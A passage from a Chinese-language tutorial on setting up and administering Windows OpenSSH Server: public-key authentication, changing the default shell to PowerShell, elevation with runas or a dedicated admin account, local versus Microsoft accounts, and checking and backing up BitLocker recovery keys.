&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该用户默认属于 Users 标准用户组，不具备管理员权限。&lt;&#x2F;p&gt;
&lt;p&gt;如果只是 SSH 登录并执行普通命令，标准用户足够。若需要管理员权限，可加入 Administrators：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;net localgroup Administrators peter &amp;#x2F;add
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：&lt;code&gt;Remote Management Users&lt;&#x2F;code&gt; 组主要面向 WinRM，不是管理员组，也不是 SSH 必需。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;4-ssh-gong-yao-ren-zheng&quot;&gt;4. SSH 公钥认证&lt;&#x2F;h2&gt;
&lt;p&gt;长期使用密码登录不够安全，更推荐 SSH 公钥认证。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-zai-ke-hu-duan-sheng-cheng-mi-yao&quot;&gt;4.1 在客户端生成密钥&lt;&#x2F;h3&gt;
&lt;p&gt;在客户端机器执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh-keygen -t ed25519
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;默认会生成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;~&amp;#x2F;.ssh&amp;#x2F;id_ed25519
~&amp;#x2F;.ssh&amp;#x2F;id_ed25519.pub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-2-bu-shu-gong-yao-dao-windows&quot;&gt;4.2 部署公钥到 Windows&lt;&#x2F;h3&gt;
&lt;p&gt;普通用户：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;C:\Users\用户名\.ssh\authorized_keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;管理员用户：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;C:\ProgramData\ssh\administrators_authorized_keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果用户属于 Administrators 组，公钥必须放到 &lt;code&gt;administrators_authorized_keys&lt;&#x2F;code&gt;，否则可能无法登录。这是 &lt;code&gt;sshd_config&lt;&#x2F;code&gt; 默认末尾的 &lt;code&gt;Match Group Administrators&lt;&#x2F;code&gt; 段决定的行为。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-ming-ling-xing-tian-jia-guan-li-yuan-gong-yao&quot;&gt;4.3 命令行添加管理员公钥&lt;&#x2F;h3&gt;
&lt;p&gt;在管理员 PowerShell 中执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;$path = &amp;quot;C:\ProgramData\ssh\administrators_authorized_keys&amp;quot;
$key  = &amp;quot;ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... user@client&amp;quot;

# 确保目录存在
$dir = Split-Path $path
if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }

# 如果文件不存在则创建
if (!(Test-Path $path)) { New-Item -Path $path -ItemType File -Force | Out-Null }

# 检查公钥是否已存在，不存在则追加
if (-not (Select-String -Path $path -Pattern ([regex]::Escape($key)) -Quiet)) {
    Add-Content -Path $path -Value $key -Encoding Ascii
    Write-Host &amp;quot;公钥已添加。&amp;quot;
} else {
    Write-Host &amp;quot;公钥已存在，未重复添加。&amp;quot;
}

# 设置严格权限：移除继承，只允许 SYSTEM 和 Administrators 完全控制
icacls $path &amp;#x2F;inheritance:r
icacls $path &amp;#x2F;grant &amp;#x27;*S-1-5-18:F&amp;#x27;
icacls $path &amp;#x2F;grant &amp;#x27;*S-1-5-32-544:F&amp;#x27;

# 显示最终内容和权限
Write-Host &amp;quot;`n--- 文件内容 ---&amp;quot;
Get-Content $path
Write-Host &amp;quot;`n--- 文件权限 ---&amp;quot;
icacls $path
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明：&lt;code&gt;*S-1-5-18&lt;&#x2F;code&gt; 是 SYSTEM，&lt;code&gt;*S-1-5-32-544&lt;&#x2F;code&gt; 是 Administrators，用 SID 授权可避免中文系统上组名不一致的问题。权限过宽（如继承了 Users 组读取）会导致 sshd 拒绝使用该公钥文件。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-yan-zheng&quot;&gt;4.4 验证&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-Content C:\ProgramData\ssh\administrators_authorized_keys
icacls C:\ProgramData\ssh\administrators_authorized_keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;确认内容正确，且权限列表中只有 SYSTEM 和 Administrators。&lt;&#x2F;p&gt;
&lt;p&gt;客户端登录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh -i 私钥路径 用户名@Windows主机IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;无需重启 sshd，OpenSSH 每次认证都会重新读取该文件。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;5-mo-ren-jin-ru-cmd-huan-shi-powershell&quot;&gt;5. 默认进入 cmd 还是 PowerShell&lt;&#x2F;h2&gt;
&lt;p&gt;Windows OpenSSH Server 默认进入的是 &lt;code&gt;cmd.exe&lt;&#x2F;code&gt;，不是 PowerShell。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-ru-he-cha-kan-dang-qian-shell&quot;&gt;5.1 如何查看当前 Shell&lt;&#x2F;h3&gt;
&lt;p&gt;看提示符：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;cmd：&lt;code&gt;C:\Users\peter&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;PowerShell：&lt;code&gt;PS C:\Users\peter&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在 cmd 中验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd &quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;echo %COMSPEC%
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出 &lt;code&gt;C:\Windows\System32\cmd.exe&lt;&#x2F;code&gt; 说明当前是 cmd。&lt;&#x2F;p&gt;
&lt;p&gt;在 PowerShell 中验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;$PSVersionTable
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;能输出版本表格就是 PowerShell。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-xiu-gai-mo-ren-shell-wei-powershell&quot;&gt;5.2 修改默认 Shell 为 PowerShell&lt;&#x2F;h3&gt;
&lt;p&gt;以管理员身份运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;if (!(Test-Path &amp;quot;HKLM:\SOFTWARE\OpenSSH&amp;quot;)) {
    New-Item -Path &amp;quot;HKLM:\SOFTWARE\OpenSSH&amp;quot; -Force
}

New-ItemProperty -Path &amp;quot;HKLM:\SOFTWARE\OpenSSH&amp;quot; -Name DefaultShell -Value &amp;quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;quot; -PropertyType String -Force
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启 sshd：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Restart-Service sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新 SSH 登录后，提示符会变成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;PS C:\Users\peter&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果安装了 PowerShell 7，也可以改为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;C:\Program Files\PowerShell\7\pwsh.exe
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;临时切换：在 cmd 中输入 &lt;code&gt;powershell&lt;&#x2F;code&gt; 回车即可进入 PowerShell，输入 &lt;code&gt;exit&lt;&#x2F;code&gt; 退回 cmd。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-3-shi-zhan-keng-reg-add-xie-liao-que-bu-sheng-xiao&quot;&gt;5.3 实战坑：reg add 写了却不生效&lt;&#x2F;h3&gt;
&lt;p&gt;实测一台 Windows 11 25H2（OpenSSH 9.5p2）上，用 &lt;code&gt;reg add&lt;&#x2F;code&gt; 写入 &lt;code&gt;DefaultShell&lt;&#x2F;code&gt; 后 &lt;code&gt;net stop sshd &amp;amp;&amp;amp; net start sshd&lt;&#x2F;code&gt;，新会话仍然进 cmd；换成 PowerShell 原生方式一次性生效：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;New-ItemProperty -Path &amp;quot;HKLM:\SOFTWARE\OpenSSH&amp;quot; -Name DefaultShell `
  -Value &amp;quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;quot; `
  -PropertyType String -Force
Restart-Service sshd -Force
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;排查思路备忘：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;确认新连接命中的是哪个监听进程：&lt;code&gt;netstat -ano | findstr :22&lt;&#x2F;code&gt;，再对照 &lt;code&gt;Get-CimInstance Win32_Process -Filter &quot;Name=&#x27;sshd.exe&#x27;&quot;&lt;&#x2F;code&gt; 的 &lt;code&gt;CreationDate&lt;&#x2F;code&gt;，确认服务真的重启过；&lt;&#x2F;li&gt;
&lt;li&gt;验证 shell 是否切换成功，用一条只有 PowerShell 认识的命令最干净：&lt;code&gt;ssh 用户名@主机 &#x27;Write-Output PS-OK&#x27;&lt;&#x2F;code&gt;——报「不是内部或外部命令」说明还是 cmd；&lt;&#x2F;li&gt;
&lt;li&gt;SSH 会话是否拿到管理员完整令牌：&lt;code&gt;whoami &#x2F;groups | findstr S-1-16-&lt;&#x2F;code&gt;，&lt;code&gt;S-1-16-12288&lt;&#x2F;code&gt;（High）才是提权令牌，&lt;code&gt;net session&lt;&#x2F;code&gt; 能跑通同样说明有完整管理员权限。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另一个高频痛点：默认 shell 是 cmd 时，从 Linux 远程执行复杂命令会陷入&lt;strong&gt;引号转义地狱&lt;&#x2F;strong&gt;（&lt;code&gt;%&lt;&#x2F;code&gt;、&lt;code&gt;&quot;&lt;&#x2F;code&gt;、嵌套引号层层剥皮，&lt;code&gt;curl -w &quot;%{http_code}&quot;&lt;&#x2F;code&gt; 这类必然阵亡）。最稳的办法是根本不让 cmd 解析——本地把 PowerShell 脚本编码后用 &lt;code&gt;-EncodedCommand&lt;&#x2F;code&gt; 传输，全程无引号：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 本地任意复杂的 PowerShell，base64(UTF-16LE) 后传给远端
ENC=$(printf &amp;#x27;%s&amp;#x27; &amp;#x27;Get-Service sshd | Select-Object Status,Name | Out-String&amp;#x27; \
      | iconv -t UTF-16LE | base64 -w0)
ssh 用户名@Windows主机IP &amp;quot;powershell -EncodedCommand $ENC&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;顺带的编码坑：中文系统 cmd 远程输出是 GBK，&lt;code&gt;curl -w&lt;&#x2F;code&gt; 的 &lt;code&gt;%%&lt;&#x2F;code&gt; 转义在不同层级表现不一致，&lt;code&gt;timeout &#x2F;t&lt;&#x2F;code&gt; 在 SSH 无 stdin 时直接报错不可用于延时（改用 &lt;code&gt;Start-Sleep&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;6-ti-quan-sudo-runas-yu-zhuan-yong-guan-li-yuan-zhang-hu&quot;&gt;6. 提权：sudo、runas 与专用管理员账户&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;6-1-windows-11-nei-zhi-sudo&quot;&gt;6.1 Windows 11 内置 sudo&lt;&#x2F;h3&gt;
&lt;p&gt;Windows 11 24H2 及以上版本支持原生 sudo。&lt;&#x2F;p&gt;
&lt;p&gt;打开「设置」→「系统」→「开发者选项」，启用 sudo。&lt;&#x2F;p&gt;
&lt;p&gt;之后可以：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;sudo netstat -ab
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：该功能依赖 UAC 弹窗，在纯 SSH 会话中可能无法正常工作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-shi-yong-runas&quot;&gt;6.2 使用 runas&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;runas&lt;&#x2F;code&gt; 是 Windows 传统提权命令，兼容所有版本。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd &quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;runas &amp;#x2F;user:Administrator &amp;quot;powershell.exe&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;执行后会提示输入 Administrator 密码。&lt;&#x2F;p&gt;
&lt;p&gt;注意事项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;runas&lt;&#x2F;code&gt; 会启动一个新进程，当前 SSH 会话仍然是原用户。&lt;&#x2F;li&gt;
&lt;li&gt;新启动的窗口在 SSH 中可能不可见，输出不一定回显到当前终端。&lt;&#x2F;li&gt;
&lt;li&gt;每次都需要交互输入密码，不适合自动化。&lt;&#x2F;li&gt;
&lt;li&gt;新进程的工作目录可能变成 &lt;code&gt;C:\Windows\System32&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果内置 Administrator 账户未启用，需要先启用并设置密码：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;net user administrator &amp;#x2F;active:yes
net user administrator YourStrongPassword
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用完建议禁用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;net user administrator &amp;#x2F;active:no
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-3-geng-tui-jian-zhuan-yong-guan-li-yuan-ssh-zhang-hu&quot;&gt;6.3 更推荐：专用管理员 SSH 账户&lt;&#x2F;h3&gt;
&lt;p&gt;创建一个专用本地管理员账户：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;net user SSHAdmin YourStrongPassword &amp;#x2F;add
net localgroup Administrators SSHAdmin &amp;#x2F;add
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后为 &lt;code&gt;SSHAdmin&lt;&#x2F;code&gt; 配置 SSH 公钥，公钥放到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;C:\ProgramData\ssh\administrators_authorized_keys
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后直接登录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ssh SSHAdmin@Windows主机IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种方式登录后的会话通常具备管理员权限，不需要再 &lt;code&gt;runas&lt;&#x2F;code&gt; 或 &lt;code&gt;sudo&lt;&#x2F;code&gt;，更适合长期 SSH 管理。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;7-ben-di-zhang-hu-yu-microsoft-zai-xian-zhang-hu&quot;&gt;7. 本地账户与 Microsoft 在线账户&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-1-liang-zhe-de-qu-bie&quot;&gt;7.1 两者的区别&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;凭据存储位置&lt;&#x2F;th&gt;&lt;th&gt;验证方式&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Microsoft 账户&lt;&#x2F;td&gt;&lt;td&gt;微软在线服务器&lt;&#x2F;td&gt;&lt;td&gt;需要在线密码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;本地账户&lt;&#x2F;td&gt;&lt;td&gt;本机 SAM 数据库&lt;&#x2F;td&gt;&lt;td&gt;本地密码验证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;Windows OpenSSH Server 验证的是本地账户数据库。使用 Microsoft 账户登录 Windows 时，系统会在后台创建一个对应的本地用户，但密码验证会转发到微软服务器。因此 SSH 登录 Microsoft 账户时，需要的是在线密码，而不是 PIN。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-2-xu-qiu-dui-zhao&quot;&gt;7.2 需求对照&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;需求&lt;&#x2F;th&gt;&lt;th&gt;是否需要 Microsoft 在线账户&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SSH 远程管理，使用本地管理员&lt;&#x2F;td&gt;&lt;td&gt;不需要&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;桌面日常登录，使用 PIN &#x2F; Windows Hello&lt;&#x2F;td&gt;&lt;td&gt;需要，保持现状即可&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用原 Microsoft 账户 SSH 登录&lt;&#x2F;td&gt;&lt;td&gt;需要在线密码，或改用公钥认证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;结论：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;有了本地管理员账户后，SSH 管理完全不需要 Microsoft 在线账户。&lt;&#x2F;li&gt;
&lt;li&gt;Microsoft 账户可以继续用于桌面登录和同步。&lt;&#x2F;li&gt;
&lt;li&gt;两者互不冲突。&lt;&#x2F;li&gt;
&lt;li&gt;如果长期 SSH 管理，建议创建专用本地管理员账户，而不是长期启用内置 Administrator。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;7-3-zai-xian-zhang-hu-diu-shi-shi-fou-ying-xiang-ben-di-yong-hu&quot;&gt;7.3 在线账户丢失是否影响本地用户&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;不影响。&lt;&#x2F;strong&gt; 即使 Microsoft 在线账户丢失、无法登录、密码遗忘或被注销，本地用户仍然可以正常使用，包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在 Windows 登录界面本地登录。&lt;&#x2F;li&gt;
&lt;li&gt;通过 SSH 远程登录。&lt;&#x2F;li&gt;
&lt;li&gt;运行程序、访问文件。&lt;&#x2F;li&gt;
&lt;li&gt;如果属于 Administrators 组，拥有管理员权限。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;原因：本地账户的用户名和密码哈希存储在本地 SAM 数据库中，验证完全在本地完成，不依赖微软服务器。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-4-xu-yao-zhu-yi-de-li-wai-qing-kuang&quot;&gt;7.4 需要注意的例外情况&lt;&#x2F;h3&gt;
&lt;p&gt;虽然本地账户本身不受影响，但以下事项可能和 Microsoft 账户有关：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;BitLocker 恢复密钥&lt;&#x2F;strong&gt;
如果系统盘启用了 BitLocker，恢复密钥可能备份在 Microsoft 账户中。在线账户丢失可能导致无法获取恢复密钥。但这影响的是磁盘解锁，不是本地账户本身。&lt;&#x2F;p&gt;
&lt;p&gt;查看本机是否开启了 BitLocker（需管理员，家庭版对应的是「设备加密」，机制相同）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Get-BitLockerVolume | Select-Object MountPoint,VolumeStatus,ProtectionStatus,EncryptionPercentage,EncryptionMethod
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测一台 Windows 11 家庭中文版的输出（两块盘全部加密、TPM 就绪）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;MountPoint   VolumeStatus     ProtectionStatus   EncryptionPercentage   EncryptionMethod
----------   --------------   -----------------   --------------------   ---------------
C:           FullyEncrypted   On                 100                   XtsAes128
D:           FullyEncrypted   On                 100                   XtsAes128
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;VolumeStatus = FullyEncrypted&lt;&#x2F;code&gt; 且 &lt;code&gt;ProtectionStatus = On&lt;&#x2F;code&gt; 即已启用。顺手确认 TPM 状态：&lt;code&gt;Get-Tpm&lt;&#x2F;code&gt;，&lt;code&gt;TpmReady&lt;&#x2F;code&gt; 为 &lt;code&gt;True&lt;&#x2F;code&gt; 才能无感解锁。&lt;&#x2F;p&gt;
&lt;p&gt;查看恢复密钥保护器（只看 ID，不在终端展开密钥本身）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;(Get-BitLockerVolume -MountPoint C:).KeyProtector |
  Where-Object KeyProtectorType -eq RecoveryPassword |
  Select-Object KeyProtectorId
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有 &lt;code&gt;RecoveryPassword&lt;&#x2F;code&gt; 条目说明恢复密钥存在。&lt;strong&gt;务必确认它至少有一份离线备份&lt;&#x2F;strong&gt;：登录 &lt;code&gt;aka.ms&#x2F;myrecoverykey&lt;&#x2F;code&gt; 查看 Microsoft 账户中的托管记录，同时建议额外保存一份（打印或密码管理器）——恢复密钥是 48 位数字，主板&#x2F;TPM 变更、系统重装后是唯一解锁手段，且不要把密钥明文贴到任何终端输出或笔记里。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;读出恢复密钥本身&lt;&#x2F;strong&gt;（管理员权限，SSH &#x2F; RDP &#x2F; 本地终端均可）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;# 方式一：PowerShell 原生
(Get-BitLockerVolume -MountPoint C:).KeyProtector |
  Where-Object KeyProtectorType -eq RecoveryPassword |
  Select-Object KeyProtectorId, RecoveryPassword

# 方式二：老牌工具，ID + 密钥分栏显示，更直观
manage-bde -protectors -get C:
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意事项：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;每个卷有独立的恢复密钥&lt;&#x2F;strong&gt;，多块盘要逐卷执行（把 &lt;code&gt;C:&lt;&#x2F;code&gt; 换成 &lt;code&gt;D:&lt;&#x2F;code&gt; 等）。&lt;&#x2F;li&gt;
&lt;li&gt;本机读出的与 &lt;code&gt;aka.ms&#x2F;myrecoverykey&lt;&#x2F;code&gt; 里托管的是&lt;strong&gt;同一把&lt;&#x2F;strong&gt;——两边核对：微软账户里查不到，则本机这份就是唯一副本，立即存入密码管理器。&lt;&#x2F;li&gt;
&lt;li&gt;密钥属于敏感凭据：在自己的终端里查看、存好后清掉终端回滚缓冲；&lt;strong&gt;不要让 AI 助手 &#x2F; 聊天工具代查&lt;&#x2F;strong&gt;（密钥会进入会话记录，与密码不进任何中间上下文是同一条原则）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;若怀疑密钥已泄露，可以轮换（生成全新随机恢复密钥，旧的可后续用 &lt;code&gt;Remove-BitLockerKeyProtector&lt;&#x2F;code&gt; 删除）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;powershell&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;Add-BitLockerKeyProtector -MountPoint C: -RecoveryPasswordProtector
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;原 Microsoft 账户的用户配置文件&lt;&#x2F;strong&gt;
原在线账户对应的 &lt;code&gt;C:\Users\原用户名&lt;&#x2F;code&gt; 文件夹仍然存在，但本地新用户默认无权访问。如需里面的文件，需要手动修改权限或取得所有权。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OneDrive &#x2F; Microsoft 服务&lt;&#x2F;strong&gt;
原账户关联的 OneDrive、Office 订阅、Edge 同步等会失效，但这些与本地登录和 SSH 无关。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;密码重置盘 &#x2F; PIN&lt;&#x2F;strong&gt;
本地用户默认没有 PIN，只能用密码登录。请务必记住密码。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组策略限制&lt;&#x2F;strong&gt;
极少数情况下，域策略或本地安全策略可能限制某些用户本地登录。默认情况下，Users 和 Administrators 组都有&quot;允许本地登录&quot;权限。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;7-5-jian-yi&quot;&gt;7.5 建议&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;给本地管理员账户设置强密码并妥善保存。&lt;&#x2F;li&gt;
&lt;li&gt;不要删除或禁用这个本地账户。&lt;&#x2F;li&gt;
&lt;li&gt;如果担心忘记密码，可以提前创建密码重置盘。&lt;&#x2F;li&gt;
&lt;li&gt;本地账户和 Microsoft 账户可以共存，互不干扰。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;8-xiu-gai-yong-hu-mi-ma&quot;&gt;8. 修改用户密码&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;8-1-shi-yong-net-user&quot;&gt;8.1 使用 net user&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cmd&quot; class=&quot;language-cmd &quot;&gt;&lt;code class=&quot;language-cmd&quot; data-lang=&quot;cmd&quot;&gt;net user 用户名 新密码
